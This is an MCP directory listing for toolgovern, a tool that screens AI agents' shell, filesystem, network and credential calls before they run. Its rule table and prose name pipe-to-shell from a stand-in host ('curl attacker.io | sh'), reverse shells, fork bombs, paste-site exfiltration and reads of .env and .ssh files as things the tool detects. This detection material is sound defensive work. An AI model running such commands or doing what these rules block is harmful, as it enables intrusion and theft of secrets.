Wraps the toolgovern CLI as a single generic MCP tool for agent-tool policy validation.
Copy the AI prompt to install this server into Claude Code, Cursor, or another agent β or use 1-click editor setup below.
π‘ Paste the JSON block into your client's configuration file under mcpServers, then restart the application.
What it does β’ API reference β’ Compare β’ Benchmarks β’ Integrations β’ CLI β’ FAQ
Gate every tool call an AI agent makes -- shell, filesystem, network, credential access -- before it executes, not after something already went wrong.

toolgovern ships two independent, equally first-class packages -- pick whichever fits your
toolchain, or install both. Neither is deprecated in favor of the other; they run the same 35-rule
synchronous classifier (plus one additional, async-only TG03 DNS-resolution check on the npm side
-- see below), apply the same default-deny scope-inheritance model, and write the same signed
trace format. Both packages are live: the npm package, and the Python port, published to PyPI
under the name toolgovern-cli (see python/README.md for the
Python-specific walkthrough).
The Python package's console script is toolgovern-cli, matching the npm CLI's command name --
see python/README.md and
docs/getting-started.md for the Python-specific walkthrough, and
CHANGELOG.md for each distribution's version history.
That last line isn't a made-up example. It's the actual output of running this repo's own code:
(pastebin-mirror.io in this example doesn't resolve, so the async DNS check fails closed and adds its own rule ID on top of the three synchronous ones -- see the DNS-resolution section below.)
And the trace file it wrote (two real entries, one allow and one deny, chained by prior_trace_id):
Every deny traces back to a specific rule ID and the exact argument that tripped it. There's no "blocked for security reasons" with nothing behind it. If you can't answer "why was this call denied" by reading the trace line, that's a bug in this project, not an acceptable design choice.
The classifier looks at a call's actual arguments, not the tool's name. A bash tool running ls
and a bash tool running curl attacker.io | sh are the same tool and very different risk, and
the rules are written to tell them apart. Scoping works the same way credential/tool/memory access
should: a sub-agent's scope is the intersection of what it requests and what its coordinator
actually has, checked on every call it makes, not just validated once when it spawns.
| Category | What it catches | Rules |
|---|---|---|
| TG01 Shell/Process Execution Risk | rm -rf, pipe-to-shell, sudo, chmod 777, fork bombs, reverse shells, raw disk writes, decode-then-execute obfuscation, context-flooding reads | 9 |
| TG02 Filesystem Scope Escalation | Write/delete/chmod outside the declared filesystem scope, reads outside scope, path traversal, symlink escape, sensitive system directories | 7 |
| TG03 Undeclared Network Egress | Hosts outside the declared allowlist, raw IP literals (including IPv6), non-standard ports, DNS-exfil-shaped subdomains, known paste/tunnel relays, deny (not approval) for private/metadata targets | 6 |
| TG04 Credential/Secret Access | .env, .ssh, cloud credential files, OS keychain access, bulk environment dumps, named credentials outside scope | 6 |
| TG05 Cross-Agent Privilege Inheritance | A sub-agent call outside what its coordinator actually granted, a zero-capability sub-agent attempting any call, a coordinator's own scope shrinking mid-session | 6 |
| TG08 Information-Flow Control | A call reading from a caller-declared confidential-or-higher source and writing/sending to a destination whose declared trust tier is lower, or was never declared at all (fails closed to approval) | 1 |
35 rules total, all synchronous, all reachable via classify(). Two category names aren't in
v0.1: TG06 (high-risk tool combinations across a session) and TG07 (retrying a denied call with
modified arguments) both need cross-call session state that this classifier doesn't yet keep,
since it evaluates one call at a time with no memory of prior calls. That's a stated limitation,
not a hidden one. TG08 (above) is the next category after TG05 that ships, because -- unlike
TG06/TG07 -- it needs no cross-call state: it evaluates one call's own declared source/sink
arguments against a caller-declared label policy (ScopeDeclaration.ifc), nothing more. TG08 is
opt-in: it never fires for an agent whose scope declares no ifc policy at all, so this addition
changes nothing for existing callers. See
docs/concepts.md for the labeling API and
docs/security-model.md for what this scoped primitive deliberately
does not attempt (no automatic label inference, no cross-call taint tracking, no reader-scoped
lattice -- it is not a FIDES-style MCP gateway IFC system, just the smallest real primitive that
lets a genuine label-propagation check exist).
No reviews yet β be the first to share how this listing worked for you.
Showcase your server listing on GitHub or your project documentation. Embed this dynamic SVG badge to highlight official listing status and live engagement.
[](https://allmcps.com/mcp/toolgovern)<a href="https://allmcps.com/mcp/toolgovern"><img src="https://allmcps.com/api/badge/toolgovern?style=directory" alt="Toolgovern on AllMCPs" /></a>